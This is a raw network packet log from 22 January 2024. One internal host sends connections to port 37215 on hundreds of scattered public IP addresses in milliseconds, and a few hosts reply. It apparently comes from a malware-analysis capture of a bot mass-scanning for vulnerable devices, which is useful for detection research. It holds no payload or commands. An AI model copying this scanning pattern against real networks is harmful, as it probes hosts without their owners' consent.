Jan 22, 2024 03:59:38.568470955 CET	58015	37215	192.168.2.20	197.122.158.235
Jan 22, 2024 03:59:38.568497896 CET	58015	37215	192.168.2.20	122.243.5.97
Jan 22, 2024 03:59:38.568505049 CET	58015	37215	192.168.2.20	41.48.90.62
Jan 22, 2024 03:59:38.568531036 CET	58015	37215	192.168.2.20	107.30.241.243
Jan 22, 2024 03:59:38.568556070 CET	58015	37215	192.168.2.20	160.129.14.54
Jan 22, 2024 03:59:38.568557024 CET	58015	37215	192.168.2.20	197.43.145.46
Jan 22, 2024 03:59:38.568578959 CET	58015	37215	192.168.2.20	197.160.5.16
Jan 22, 2024 03:59:38.568603039 CET	58015	37215	192.168.2.20	94.244.225.206
Jan 22, 2024 03:59:38.568607092 CET	58015	37215	192.168.2.20	156.98.142.63
Jan 22, 2024 03:59:38.568635941 CET	58015	37215	192.168.2.20	197.44.13.59
Jan 22, 2024 03:59:38.568644047 CET	58015	37215	192.168.2.20	197.73.99.155
Jan 22, 2024 03:59:38.568681955 CET	58015	37215	192.168.2.20	197.132.245.186
Jan 22, 2024 03:59:38.568700075 CET	58015	37215	192.168.2.20	156.27.107.248
Jan 22, 2024 03:59:38.568717003 CET	58015	37215	192.168.2.20	197.139.220.62
Jan 22, 2024 03:59:38.568723917 CET	58015	37215	192.168.2.20	41.136.22.245
Jan 22, 2024 03:59:38.568741083 CET	58015	37215	192.168.2.20	197.250.230.19
Jan 22, 2024 03:59:38.568763971 CET	58015	37215	192.168.2.20	41.70.131.190
Jan 22, 2024 03:59:38.568774939 CET	58015	37215	192.168.2.20	197.185.145.229
Jan 22, 2024 03:59:38.568811893 CET	58015	37215	192.168.2.20	197.195.191.145
Jan 22, 2024 03:59:38.568836927 CET	58015	37215	192.168.2.20	197.161.232.12
Jan 22, 2024 03:59:38.568846941 CET	58015	37215	192.168.2.20	41.88.15.137
Jan 22, 2024 03:59:38.568851948 CET	58015	37215	192.168.2.20	41.74.65.240
Jan 22, 2024 03:59:38.568852901 CET	58015	37215	192.168.2.20	154.123.68.92
Jan 22, 2024 03:59:38.568854094 CET	58015	37215	192.168.2.20	197.145.97.10
Jan 22, 2024 03:59:38.568883896 CET	58015	37215	192.168.2.20	156.117.45.16
Jan 22, 2024 03:59:38.568908930 CET	58015	37215	192.168.2.20	197.58.64.55
Jan 22, 2024 03:59:38.568919897 CET	58015	37215	192.168.2.20	107.87.134.158
Jan 22, 2024 03:59:38.568939924 CET	58015	37215	192.168.2.20	156.132.107.216
Jan 22, 2024 03:59:38.568949938 CET	58015	37215	192.168.2.20	102.176.65.205
Jan 22, 2024 03:59:38.568964005 CET	58015	37215	192.168.2.20	41.82.109.195
Jan 22, 2024 03:59:38.568972111 CET	58015	37215	192.168.2.20	138.134.56.132
Jan 22, 2024 03:59:38.568989992 CET	58015	37215	192.168.2.20	181.99.71.43
Jan 22, 2024 03:59:38.569005013 CET	58015	37215	192.168.2.20	197.48.71.125
Jan 22, 2024 03:59:38.569014072 CET	58015	37215	192.168.2.20	197.180.213.123
Jan 22, 2024 03:59:38.569029093 CET	58015	37215	192.168.2.20	186.27.48.188
Jan 22, 2024 03:59:38.569052935 CET	58015	37215	192.168.2.20	156.200.174.239
Jan 22, 2024 03:59:38.569078922 CET	58015	37215	192.168.2.20	222.107.35.53
Jan 22, 2024 03:59:38.569078922 CET	58015	37215	192.168.2.20	41.9.119.217
Jan 22, 2024 03:59:38.569103956 CET	58015	37215	192.168.2.20	94.171.209.134
Jan 22, 2024 03:59:38.569116116 CET	58015	37215	192.168.2.20	41.174.242.83
Jan 22, 2024 03:59:38.569135904 CET	58015	37215	192.168.2.20	197.241.200.218
Jan 22, 2024 03:59:38.569160938 CET	58015	37215	192.168.2.20	120.233.246.218
Jan 22, 2024 03:59:38.569176912 CET	58015	37215	192.168.2.20	156.243.193.133
Jan 22, 2024 03:59:38.569202900 CET	58015	37215	192.168.2.20	197.228.1.214
Jan 22, 2024 03:59:38.569204092 CET	58015	37215	192.168.2.20	156.231.165.142
Jan 22, 2024 03:59:38.569226027 CET	58015	37215	192.168.2.20	41.69.65.141
Jan 22, 2024 03:59:38.569248915 CET	58015	37215	192.168.2.20	156.99.124.30
Jan 22, 2024 03:59:38.569267988 CET	58015	37215	192.168.2.20	41.24.54.135
Jan 22, 2024 03:59:38.569283009 CET	58015	37215	192.168.2.20	197.39.239.169
Jan 22, 2024 03:59:38.569293976 CET	58015	37215	192.168.2.20	41.174.110.206
Jan 22, 2024 03:59:38.569307089 CET	58015	37215	192.168.2.20	41.222.64.181
Jan 22, 2024 03:59:38.569325924 CET	58015	37215	192.168.2.20	122.64.180.75
Jan 22, 2024 03:59:38.569336891 CET	58015	37215	192.168.2.20	156.70.194.188
Jan 22, 2024 03:59:38.569364071 CET	58015	37215	192.168.2.20	156.94.83.76
Jan 22, 2024 03:59:38.569379091 CET	58015	37215	192.168.2.20	186.25.47.125
Jan 22, 2024 03:59:38.569396973 CET	58015	37215	192.168.2.20	197.132.165.12
Jan 22, 2024 03:59:38.569417000 CET	58015	37215	192.168.2.20	156.76.30.159
Jan 22, 2024 03:59:38.569434881 CET	58015	37215	192.168.2.20	197.140.224.107
Jan 22, 2024 03:59:38.569454908 CET	58015	37215	192.168.2.20	197.210.98.97
Jan 22, 2024 03:59:38.569470882 CET	58015	37215	192.168.2.20	156.244.91.27
Jan 22, 2024 03:59:38.569478989 CET	58015	37215	192.168.2.20	197.39.151.194
Jan 22, 2024 03:59:38.569493055 CET	58015	37215	192.168.2.20	197.0.211.219
Jan 22, 2024 03:59:38.569518089 CET	58015	37215	192.168.2.20	197.243.230.224
Jan 22, 2024 03:59:38.569540977 CET	58015	37215	192.168.2.20	122.52.152.2
Jan 22, 2024 03:59:38.569546938 CET	58015	37215	192.168.2.20	107.130.242.144
Jan 22, 2024 03:59:38.569569111 CET	58015	37215	192.168.2.20	41.243.50.14
Jan 22, 2024 03:59:38.569576025 CET	58015	37215	192.168.2.20	196.90.23.108
Jan 22, 2024 03:59:38.569588900 CET	58015	37215	192.168.2.20	41.249.201.222
Jan 22, 2024 03:59:38.569608927 CET	58015	37215	192.168.2.20	45.64.32.135
Jan 22, 2024 03:59:38.569619894 CET	58015	37215	192.168.2.20	107.50.82.178
Jan 22, 2024 03:59:38.569643021 CET	58015	37215	192.168.2.20	41.233.224.30
Jan 22, 2024 03:59:38.569663048 CET	58015	37215	192.168.2.20	197.142.195.35
Jan 22, 2024 03:59:38.569686890 CET	58015	37215	192.168.2.20	181.163.255.54
Jan 22, 2024 03:59:38.569698095 CET	58015	37215	192.168.2.20	197.120.30.221
Jan 22, 2024 03:59:38.569725037 CET	58015	37215	192.168.2.20	156.125.111.161
Jan 22, 2024 03:59:38.569739103 CET	58015	37215	192.168.2.20	156.72.135.25
Jan 22, 2024 03:59:38.569752932 CET	58015	37215	192.168.2.20	160.2.36.94
Jan 22, 2024 03:59:38.569770098 CET	58015	37215	192.168.2.20	190.154.50.141
Jan 22, 2024 03:59:38.569781065 CET	58015	37215	192.168.2.20	197.99.13.111
Jan 22, 2024 03:59:38.569804907 CET	58015	37215	192.168.2.20	156.55.178.164
Jan 22, 2024 03:59:38.569819927 CET	58015	37215	192.168.2.20	156.218.158.117
Jan 22, 2024 03:59:38.569828987 CET	58015	37215	192.168.2.20	41.187.155.173
Jan 22, 2024 03:59:38.569849968 CET	58015	37215	192.168.2.20	94.57.187.15
Jan 22, 2024 03:59:38.569868088 CET	58015	37215	192.168.2.20	156.158.110.6
Jan 22, 2024 03:59:38.569910049 CET	58015	37215	192.168.2.20	156.98.8.13
Jan 22, 2024 03:59:38.569936037 CET	58015	37215	192.168.2.20	222.178.43.169
Jan 22, 2024 03:59:38.569938898 CET	58015	37215	192.168.2.20	94.249.229.48
Jan 22, 2024 03:59:38.569941044 CET	58015	37215	192.168.2.20	92.210.233.8
Jan 22, 2024 03:59:38.569946051 CET	58015	37215	192.168.2.20	197.227.72.10
Jan 22, 2024 03:59:38.569964886 CET	58015	37215	192.168.2.20	45.77.113.37
Jan 22, 2024 03:59:38.569992065 CET	58015	37215	192.168.2.20	92.154.13.17
Jan 22, 2024 03:59:38.570005894 CET	58015	37215	192.168.2.20	197.131.19.115
Jan 22, 2024 03:59:38.570015907 CET	58015	37215	192.168.2.20	156.250.30.92
Jan 22, 2024 03:59:38.570039034 CET	58015	37215	192.168.2.20	197.194.60.149
Jan 22, 2024 03:59:38.570055008 CET	58015	37215	192.168.2.20	41.250.3.65
Jan 22, 2024 03:59:38.570070028 CET	58015	37215	192.168.2.20	197.4.56.197
Jan 22, 2024 03:59:38.570086002 CET	58015	37215	192.168.2.20	197.45.19.68
Jan 22, 2024 03:59:38.570110083 CET	58015	37215	192.168.2.20	197.24.134.95
Jan 22, 2024 03:59:38.570111036 CET	58015	37215	192.168.2.20	156.173.216.221
Jan 22, 2024 03:59:38.570135117 CET	58015	37215	192.168.2.20	107.96.38.70
Jan 22, 2024 03:59:38.570152044 CET	58015	37215	192.168.2.20	156.31.99.199
Jan 22, 2024 03:59:38.570169926 CET	58015	37215	192.168.2.20	122.37.227.246
Jan 22, 2024 03:59:38.570188046 CET	58015	37215	192.168.2.20	45.14.253.102
Jan 22, 2024 03:59:38.570211887 CET	58015	37215	192.168.2.20	197.66.4.89
Jan 22, 2024 03:59:38.570220947 CET	58015	37215	192.168.2.20	41.8.7.71
Jan 22, 2024 03:59:38.570250034 CET	58015	37215	192.168.2.20	107.36.210.57
Jan 22, 2024 03:59:38.570250034 CET	58015	37215	192.168.2.20	181.158.141.9
Jan 22, 2024 03:59:38.570272923 CET	58015	37215	192.168.2.20	197.123.201.179
Jan 22, 2024 03:59:38.570302010 CET	58015	37215	192.168.2.20	222.174.226.36
Jan 22, 2024 03:59:38.570317984 CET	58015	37215	192.168.2.20	102.17.138.238
Jan 22, 2024 03:59:38.570327044 CET	58015	37215	192.168.2.20	197.235.6.158
Jan 22, 2024 03:59:38.570346117 CET	58015	37215	192.168.2.20	160.112.63.60
Jan 22, 2024 03:59:38.570359945 CET	58015	37215	192.168.2.20	197.245.17.253
Jan 22, 2024 03:59:38.570374966 CET	58015	37215	192.168.2.20	197.219.180.113
Jan 22, 2024 03:59:38.570399046 CET	58015	37215	192.168.2.20	156.117.138.143
Jan 22, 2024 03:59:38.570424080 CET	58015	37215	192.168.2.20	94.6.229.43
Jan 22, 2024 03:59:38.570432901 CET	58015	37215	192.168.2.20	156.144.118.109
Jan 22, 2024 03:59:38.570457935 CET	58015	37215	192.168.2.20	197.167.82.8
Jan 22, 2024 03:59:38.570473909 CET	58015	37215	192.168.2.20	41.42.199.3
Jan 22, 2024 03:59:38.570483923 CET	58015	37215	192.168.2.20	122.77.134.33
Jan 22, 2024 03:59:38.570498943 CET	58015	37215	192.168.2.20	41.151.58.13
Jan 22, 2024 03:59:38.570517063 CET	58015	37215	192.168.2.20	156.196.78.25
Jan 22, 2024 03:59:38.570539951 CET	58015	37215	192.168.2.20	156.200.10.197
Jan 22, 2024 03:59:38.570554972 CET	58015	37215	192.168.2.20	197.174.144.127
Jan 22, 2024 03:59:38.570569992 CET	58015	37215	192.168.2.20	122.63.147.90
Jan 22, 2024 03:59:38.570580006 CET	58015	37215	192.168.2.20	156.33.229.244
Jan 22, 2024 03:59:38.570615053 CET	58015	37215	192.168.2.20	41.159.228.63
Jan 22, 2024 03:59:38.570617914 CET	58015	37215	192.168.2.20	186.167.129.109
Jan 22, 2024 03:59:38.570636988 CET	58015	37215	192.168.2.20	197.83.212.239
Jan 22, 2024 03:59:38.570646048 CET	58015	37215	192.168.2.20	197.143.130.231
Jan 22, 2024 03:59:38.570667982 CET	58015	37215	192.168.2.20	138.177.167.169
Jan 22, 2024 03:59:38.570683002 CET	58015	37215	192.168.2.20	107.200.213.5
Jan 22, 2024 03:59:38.570698023 CET	58015	37215	192.168.2.20	197.198.202.22
Jan 22, 2024 03:59:38.570724010 CET	58015	37215	192.168.2.20	197.204.235.204
Jan 22, 2024 03:59:38.570750952 CET	58015	37215	192.168.2.20	41.157.94.71
Jan 22, 2024 03:59:38.570750952 CET	58015	37215	192.168.2.20	196.111.59.48
Jan 22, 2024 03:59:38.570785999 CET	58015	37215	192.168.2.20	41.124.18.139
Jan 22, 2024 03:59:38.570785999 CET	58015	37215	192.168.2.20	197.124.14.70
Jan 22, 2024 03:59:38.570823908 CET	58015	37215	192.168.2.20	222.179.219.68
Jan 22, 2024 03:59:38.570826054 CET	58015	37215	192.168.2.20	156.15.73.13
Jan 22, 2024 03:59:38.570841074 CET	58015	37215	192.168.2.20	102.214.138.8
Jan 22, 2024 03:59:38.570849895 CET	58015	37215	192.168.2.20	95.79.194.13
Jan 22, 2024 03:59:38.570873976 CET	58015	37215	192.168.2.20	41.246.203.199
Jan 22, 2024 03:59:38.570883036 CET	58015	37215	192.168.2.20	197.246.165.105
Jan 22, 2024 03:59:38.570952892 CET	58015	37215	192.168.2.20	157.224.41.212
Jan 22, 2024 03:59:38.571022034 CET	58015	37215	192.168.2.20	94.241.132.94
Jan 22, 2024 03:59:38.571086884 CET	58015	37215	192.168.2.20	102.156.158.4
Jan 22, 2024 03:59:38.571154118 CET	58015	37215	192.168.2.20	107.57.251.238
Jan 22, 2024 03:59:38.571211100 CET	58015	37215	192.168.2.20	41.103.78.230
Jan 22, 2024 03:59:38.571300983 CET	58015	37215	192.168.2.20	156.81.177.68
Jan 22, 2024 03:59:38.571377039 CET	58015	37215	192.168.2.20	197.165.245.243
Jan 22, 2024 03:59:38.571444035 CET	58015	37215	192.168.2.20	120.205.156.66
Jan 22, 2024 03:59:38.571518898 CET	58015	37215	192.168.2.20	197.182.251.173
Jan 22, 2024 03:59:38.571599960 CET	58015	37215	192.168.2.20	41.103.244.126
Jan 22, 2024 03:59:38.571657896 CET	58015	37215	192.168.2.20	197.129.202.8
Jan 22, 2024 03:59:38.571744919 CET	58015	37215	192.168.2.20	41.70.64.214
Jan 22, 2024 03:59:38.571808100 CET	58015	37215	192.168.2.20	181.62.80.118
Jan 22, 2024 03:59:38.571877956 CET	58015	37215	192.168.2.20	181.147.5.143
Jan 22, 2024 03:59:38.571944952 CET	58015	37215	192.168.2.20	154.49.250.5
Jan 22, 2024 03:59:38.572010994 CET	58015	37215	192.168.2.20	107.38.17.73
Jan 22, 2024 03:59:38.572068930 CET	58015	37215	192.168.2.20	41.129.119.105
Jan 22, 2024 03:59:38.572141886 CET	58015	37215	192.168.2.20	107.109.9.219
Jan 22, 2024 03:59:38.572212934 CET	58015	37215	192.168.2.20	156.176.0.146
Jan 22, 2024 03:59:38.572273970 CET	58015	37215	192.168.2.20	197.64.8.178
Jan 22, 2024 03:59:38.572345972 CET	58015	37215	192.168.2.20	41.159.121.65
Jan 22, 2024 03:59:38.572428942 CET	58015	37215	192.168.2.20	197.48.182.88
Jan 22, 2024 03:59:38.572519064 CET	58015	37215	192.168.2.20	120.126.184.161
Jan 22, 2024 03:59:38.572583914 CET	58015	37215	192.168.2.20	45.172.221.198
Jan 22, 2024 03:59:38.572669983 CET	58015	37215	192.168.2.20	197.150.203.207
Jan 22, 2024 03:59:38.572741985 CET	58015	37215	192.168.2.20	45.110.40.43
Jan 22, 2024 03:59:38.572797060 CET	58015	37215	192.168.2.20	156.4.96.53
Jan 22, 2024 03:59:38.572861910 CET	58015	37215	192.168.2.20	197.248.252.138
Jan 22, 2024 03:59:38.572899103 CET	58015	37215	192.168.2.20	181.119.9.158
Jan 22, 2024 03:59:38.572917938 CET	58015	37215	192.168.2.20	156.70.187.35
Jan 22, 2024 03:59:38.572942972 CET	58015	37215	192.168.2.20	197.108.165.146
Jan 22, 2024 03:59:38.572968960 CET	58015	37215	192.168.2.20	122.134.66.239
Jan 22, 2024 03:59:38.573007107 CET	58015	37215	192.168.2.20	156.202.150.119
Jan 22, 2024 03:59:38.573023081 CET	58015	37215	192.168.2.20	95.105.220.44
Jan 22, 2024 03:59:38.573055029 CET	58015	37215	192.168.2.20	121.30.176.95
Jan 22, 2024 03:59:38.573086023 CET	58015	37215	192.168.2.20	197.60.209.83
Jan 22, 2024 03:59:38.573098898 CET	58015	37215	192.168.2.20	41.216.16.35
Jan 22, 2024 03:59:38.573123932 CET	58015	37215	192.168.2.20	45.136.42.101
Jan 22, 2024 03:59:38.573123932 CET	58015	37215	192.168.2.20	156.130.157.201
Jan 22, 2024 03:59:38.573148966 CET	58015	37215	192.168.2.20	156.225.241.88
Jan 22, 2024 03:59:38.573163033 CET	58015	37215	192.168.2.20	197.159.69.110
Jan 22, 2024 03:59:38.573174000 CET	58015	37215	192.168.2.20	156.188.26.151
Jan 22, 2024 03:59:38.573196888 CET	58015	37215	192.168.2.20	156.235.165.61
Jan 22, 2024 03:59:38.573213100 CET	58015	37215	192.168.2.20	41.126.190.209
Jan 22, 2024 03:59:38.573220968 CET	58015	37215	192.168.2.20	156.200.239.148
Jan 22, 2024 03:59:38.573244095 CET	58015	37215	192.168.2.20	197.13.249.1
Jan 22, 2024 03:59:38.573252916 CET	58015	37215	192.168.2.20	138.3.47.116
Jan 22, 2024 03:59:38.573270082 CET	58015	37215	192.168.2.20	41.237.111.224
Jan 22, 2024 03:59:38.573285103 CET	58015	37215	192.168.2.20	45.244.9.152
Jan 22, 2024 03:59:38.573309898 CET	58015	37215	192.168.2.20	222.210.56.196
Jan 22, 2024 03:59:38.573318005 CET	58015	37215	192.168.2.20	197.209.142.24
Jan 22, 2024 03:59:38.573342085 CET	58015	37215	192.168.2.20	156.123.251.146
Jan 22, 2024 03:59:38.573365927 CET	58015	37215	192.168.2.20	122.234.97.226
Jan 22, 2024 03:59:38.573374987 CET	58015	37215	192.168.2.20	41.36.184.68
Jan 22, 2024 03:59:38.573388100 CET	58015	37215	192.168.2.20	197.161.169.148
Jan 22, 2024 03:59:38.573400974 CET	58015	37215	192.168.2.20	156.146.103.177
Jan 22, 2024 03:59:38.573425055 CET	58015	37215	192.168.2.20	156.13.119.146
Jan 22, 2024 03:59:38.573461056 CET	58015	37215	192.168.2.20	156.163.236.248
Jan 22, 2024 03:59:38.573461056 CET	58015	37215	192.168.2.20	156.127.88.101
Jan 22, 2024 03:59:38.573467970 CET	58015	37215	192.168.2.20	222.123.158.135
Jan 22, 2024 03:59:38.573496103 CET	58015	37215	192.168.2.20	156.210.1.222
Jan 22, 2024 03:59:38.573510885 CET	58015	37215	192.168.2.20	41.162.219.53
Jan 22, 2024 03:59:38.573540926 CET	58015	37215	192.168.2.20	197.197.52.208
Jan 22, 2024 03:59:38.573549032 CET	58015	37215	192.168.2.20	197.165.36.233
Jan 22, 2024 03:59:38.573569059 CET	58015	37215	192.168.2.20	156.113.249.217
Jan 22, 2024 03:59:38.573590994 CET	58015	37215	192.168.2.20	197.7.2.52
Jan 22, 2024 03:59:38.573616028 CET	58015	37215	192.168.2.20	156.225.133.47
Jan 22, 2024 03:59:38.573623896 CET	58015	37215	192.168.2.20	41.151.200.162
Jan 22, 2024 03:59:38.573626995 CET	58015	37215	192.168.2.20	138.24.252.251
Jan 22, 2024 03:59:38.573648930 CET	58015	37215	192.168.2.20	41.150.139.169
Jan 22, 2024 03:59:38.573662996 CET	58015	37215	192.168.2.20	156.125.64.203
Jan 22, 2024 03:59:38.573681116 CET	58015	37215	192.168.2.20	107.164.214.235
Jan 22, 2024 03:59:38.573708057 CET	58015	37215	192.168.2.20	197.49.254.90
Jan 22, 2024 03:59:38.573725939 CET	58015	37215	192.168.2.20	156.169.79.221
Jan 22, 2024 03:59:38.573744059 CET	58015	37215	192.168.2.20	41.179.196.78
Jan 22, 2024 03:59:38.573769093 CET	58015	37215	192.168.2.20	41.244.126.169
Jan 22, 2024 03:59:38.573769093 CET	58015	37215	192.168.2.20	41.205.197.74
Jan 22, 2024 03:59:38.573791027 CET	58015	37215	192.168.2.20	197.23.220.44
Jan 22, 2024 03:59:38.573811054 CET	58015	37215	192.168.2.20	156.240.84.0
Jan 22, 2024 03:59:38.573826075 CET	58015	37215	192.168.2.20	156.173.13.83
Jan 22, 2024 03:59:38.573836088 CET	58015	37215	192.168.2.20	156.46.129.240
Jan 22, 2024 03:59:38.573851109 CET	58015	37215	192.168.2.20	156.8.136.245
Jan 22, 2024 03:59:38.573873997 CET	58015	37215	192.168.2.20	138.240.235.130
Jan 22, 2024 03:59:38.573894024 CET	58015	37215	192.168.2.20	156.153.78.2
Jan 22, 2024 03:59:38.573909998 CET	58015	37215	192.168.2.20	156.101.187.109
Jan 22, 2024 03:59:38.573925018 CET	58015	37215	192.168.2.20	197.122.193.72
Jan 22, 2024 03:59:38.573940992 CET	58015	37215	192.168.2.20	197.51.172.48
Jan 22, 2024 03:59:38.573959112 CET	58015	37215	192.168.2.20	156.139.30.108
Jan 22, 2024 03:59:38.573981047 CET	58015	37215	192.168.2.20	120.166.0.0
Jan 22, 2024 03:59:38.573997021 CET	58015	37215	192.168.2.20	222.103.175.98
Jan 22, 2024 03:59:38.574019909 CET	58015	37215	192.168.2.20	41.229.229.118
Jan 22, 2024 03:59:38.574021101 CET	58015	37215	192.168.2.20	138.235.19.140
Jan 22, 2024 03:59:38.574044943 CET	58015	37215	192.168.2.20	156.12.162.213
Jan 22, 2024 03:59:38.574052095 CET	58015	37215	192.168.2.20	41.93.79.38
Jan 22, 2024 03:59:38.574070930 CET	58015	37215	192.168.2.20	197.101.127.83
Jan 22, 2024 03:59:38.574085951 CET	58015	37215	192.168.2.20	41.33.121.80
Jan 22, 2024 03:59:38.574109077 CET	58015	37215	192.168.2.20	45.251.211.54
Jan 22, 2024 03:59:38.574120045 CET	58015	37215	192.168.2.20	197.134.192.198
Jan 22, 2024 03:59:38.574135065 CET	58015	37215	192.168.2.20	41.131.155.238
Jan 22, 2024 03:59:38.574148893 CET	58015	37215	192.168.2.20	41.8.55.100
Jan 22, 2024 03:59:38.574182034 CET	58015	37215	192.168.2.20	121.169.225.112
Jan 22, 2024 03:59:38.574182034 CET	58015	37215	192.168.2.20	156.113.39.37
Jan 22, 2024 03:59:38.574206114 CET	58015	37215	192.168.2.20	41.178.234.59
Jan 22, 2024 03:59:38.574214935 CET	58015	37215	192.168.2.20	190.68.75.191
Jan 22, 2024 03:59:38.574239969 CET	58015	37215	192.168.2.20	181.21.135.86
Jan 22, 2024 03:59:38.574253082 CET	58015	37215	192.168.2.20	41.150.147.178
Jan 22, 2024 03:59:38.574259996 CET	58015	37215	192.168.2.20	197.248.151.228
Jan 22, 2024 03:59:38.574294090 CET	58015	37215	192.168.2.20	41.229.91.83
Jan 22, 2024 03:59:38.574297905 CET	58015	37215	192.168.2.20	41.150.9.131
Jan 22, 2024 03:59:38.574318886 CET	58015	37215	192.168.2.20	156.85.2.114
Jan 22, 2024 03:59:38.574337006 CET	58015	37215	192.168.2.20	156.193.134.130
Jan 22, 2024 03:59:38.574343920 CET	58015	37215	192.168.2.20	156.66.13.113
Jan 22, 2024 03:59:38.574367046 CET	58015	37215	192.168.2.20	102.8.227.45
Jan 22, 2024 03:59:38.574377060 CET	58015	37215	192.168.2.20	156.98.142.103
Jan 22, 2024 03:59:38.574388981 CET	58015	37215	192.168.2.20	156.139.195.219
Jan 22, 2024 03:59:38.574409962 CET	58015	37215	192.168.2.20	156.237.107.78
Jan 22, 2024 03:59:38.574430943 CET	58015	37215	192.168.2.20	156.4.154.191
Jan 22, 2024 03:59:38.574440002 CET	58015	37215	192.168.2.20	102.128.241.186
Jan 22, 2024 03:59:38.574465036 CET	58015	37215	192.168.2.20	107.51.7.143
Jan 22, 2024 03:59:38.574481964 CET	58015	37215	192.168.2.20	197.47.230.201
Jan 22, 2024 03:59:38.574502945 CET	58015	37215	192.168.2.20	160.158.239.134
Jan 22, 2024 03:59:38.574531078 CET	58015	37215	192.168.2.20	122.28.133.179
Jan 22, 2024 03:59:38.574538946 CET	58015	37215	192.168.2.20	156.130.155.184
Jan 22, 2024 03:59:38.574546099 CET	58015	37215	192.168.2.20	197.210.78.75
Jan 22, 2024 03:59:38.574573994 CET	58015	37215	192.168.2.20	41.235.4.160
Jan 22, 2024 03:59:38.574589968 CET	58015	37215	192.168.2.20	102.175.7.145
Jan 22, 2024 03:59:38.574613094 CET	58015	37215	192.168.2.20	156.229.123.203
Jan 22, 2024 03:59:38.574630022 CET	58015	37215	192.168.2.20	156.118.133.44
Jan 22, 2024 03:59:38.574645042 CET	58015	37215	192.168.2.20	138.168.200.158
Jan 22, 2024 03:59:38.574654102 CET	58015	37215	192.168.2.20	121.38.225.50
Jan 22, 2024 03:59:38.574667931 CET	58015	37215	192.168.2.20	41.140.124.234
Jan 22, 2024 03:59:38.574688911 CET	58015	37215	192.168.2.20	41.240.180.156
Jan 22, 2024 03:59:38.574723959 CET	58015	37215	192.168.2.20	197.106.247.190
Jan 22, 2024 03:59:38.574728012 CET	58015	37215	192.168.2.20	197.86.96.170
Jan 22, 2024 03:59:38.574733973 CET	58015	37215	192.168.2.20	156.115.163.123
Jan 22, 2024 03:59:38.574764013 CET	58015	37215	192.168.2.20	197.69.214.23
Jan 22, 2024 03:59:38.574790001 CET	58015	37215	192.168.2.20	156.73.209.201
Jan 22, 2024 03:59:38.574805021 CET	58015	37215	192.168.2.20	156.2.43.47
Jan 22, 2024 03:59:38.574814081 CET	58015	37215	192.168.2.20	41.78.225.106
Jan 22, 2024 03:59:38.574826002 CET	58015	37215	192.168.2.20	197.179.143.123
Jan 22, 2024 03:59:38.574848890 CET	58015	37215	192.168.2.20	156.102.239.3
Jan 22, 2024 03:59:38.574863911 CET	58015	37215	192.168.2.20	156.17.21.113
Jan 22, 2024 03:59:38.574887037 CET	58015	37215	192.168.2.20	41.99.100.225
Jan 22, 2024 03:59:38.574896097 CET	58015	37215	192.168.2.20	156.192.177.59
Jan 22, 2024 03:59:38.574911118 CET	58015	37215	192.168.2.20	138.221.208.247
Jan 22, 2024 03:59:38.574938059 CET	58015	37215	192.168.2.20	94.25.89.151
Jan 22, 2024 03:59:38.574959993 CET	58015	37215	192.168.2.20	154.174.222.174
Jan 22, 2024 03:59:38.574974060 CET	58015	37215	192.168.2.20	41.30.48.194
Jan 22, 2024 03:59:38.574994087 CET	58015	37215	192.168.2.20	186.184.69.222
Jan 22, 2024 03:59:38.575023890 CET	58015	37215	192.168.2.20	41.86.37.143
Jan 22, 2024 03:59:38.575042963 CET	58015	37215	192.168.2.20	154.65.62.1
Jan 22, 2024 03:59:38.575052977 CET	58015	37215	192.168.2.20	197.109.134.58
Jan 22, 2024 03:59:38.575067997 CET	58015	37215	192.168.2.20	156.161.49.30
Jan 22, 2024 03:59:38.575092077 CET	58015	37215	192.168.2.20	94.253.244.18
Jan 22, 2024 03:59:38.575117111 CET	58015	37215	192.168.2.20	222.238.203.193
Jan 22, 2024 03:59:38.575124025 CET	58015	37215	192.168.2.20	41.126.27.232
Jan 22, 2024 03:59:38.575149059 CET	58015	37215	192.168.2.20	197.81.19.249
Jan 22, 2024 03:59:38.575155020 CET	58015	37215	192.168.2.20	138.98.118.76
Jan 22, 2024 03:59:38.575166941 CET	58015	37215	192.168.2.20	156.65.137.61
Jan 22, 2024 03:59:38.575180054 CET	58015	37215	192.168.2.20	37.108.206.127
Jan 22, 2024 03:59:38.575203896 CET	58015	37215	192.168.2.20	156.200.53.237
Jan 22, 2024 03:59:38.575218916 CET	58015	37215	192.168.2.20	197.197.171.29
Jan 22, 2024 03:59:38.575236082 CET	58015	37215	192.168.2.20	196.192.101.99
Jan 22, 2024 03:59:38.575252056 CET	58015	37215	192.168.2.20	156.127.200.122
Jan 22, 2024 03:59:38.575259924 CET	58015	37215	192.168.2.20	154.161.218.48
Jan 22, 2024 03:59:38.575273991 CET	58015	37215	192.168.2.20	41.69.153.148
Jan 22, 2024 03:59:38.575289965 CET	58015	37215	192.168.2.20	156.80.22.74
Jan 22, 2024 03:59:38.575315952 CET	58015	37215	192.168.2.20	157.27.57.6
Jan 22, 2024 03:59:38.575328112 CET	58015	37215	192.168.2.20	154.95.229.93
Jan 22, 2024 03:59:38.575341940 CET	58015	37215	192.168.2.20	156.250.234.161
Jan 22, 2024 03:59:38.575357914 CET	58015	37215	192.168.2.20	156.216.165.82
Jan 22, 2024 03:59:38.575378895 CET	58015	37215	192.168.2.20	197.196.4.92
Jan 22, 2024 03:59:38.575397015 CET	58015	37215	192.168.2.20	156.166.213.106
Jan 22, 2024 03:59:38.575422049 CET	58015	37215	192.168.2.20	95.95.154.113
Jan 22, 2024 03:59:38.575431108 CET	58015	37215	192.168.2.20	156.73.249.230
Jan 22, 2024 03:59:38.575444937 CET	58015	37215	192.168.2.20	138.37.126.242
Jan 22, 2024 03:59:38.575455904 CET	58015	37215	192.168.2.20	92.100.111.228
Jan 22, 2024 03:59:38.575474024 CET	58015	37215	192.168.2.20	41.27.83.39
Jan 22, 2024 03:59:38.575486898 CET	58015	37215	192.168.2.20	41.4.164.18
Jan 22, 2024 03:59:38.575510979 CET	58015	37215	192.168.2.20	156.148.174.87
Jan 22, 2024 03:59:38.575525999 CET	58015	37215	192.168.2.20	156.216.52.75
Jan 22, 2024 03:59:38.575536966 CET	58015	37215	192.168.2.20	197.94.99.183
Jan 22, 2024 03:59:38.683604956 CET	37215	58015	181.214.138.20	192.168.2.20
Jan 22, 2024 03:59:38.703318119 CET	37215	58015	156.73.249.230	192.168.2.20
Jan 22, 2024 03:59:38.703577042 CET	58015	37215	192.168.2.20	156.73.249.230
Jan 22, 2024 03:59:38.704111099 CET	37215	58015	156.73.209.201	192.168.2.20
Jan 22, 2024 03:59:38.704252958 CET	58015	37215	192.168.2.20	156.73.209.201
Jan 22, 2024 03:59:38.762449026 CET	37215	58015	107.164.214.235	192.168.2.20
Jan 22, 2024 03:59:38.800544977 CET	51026	37215	192.168.2.20	156.254.78.254
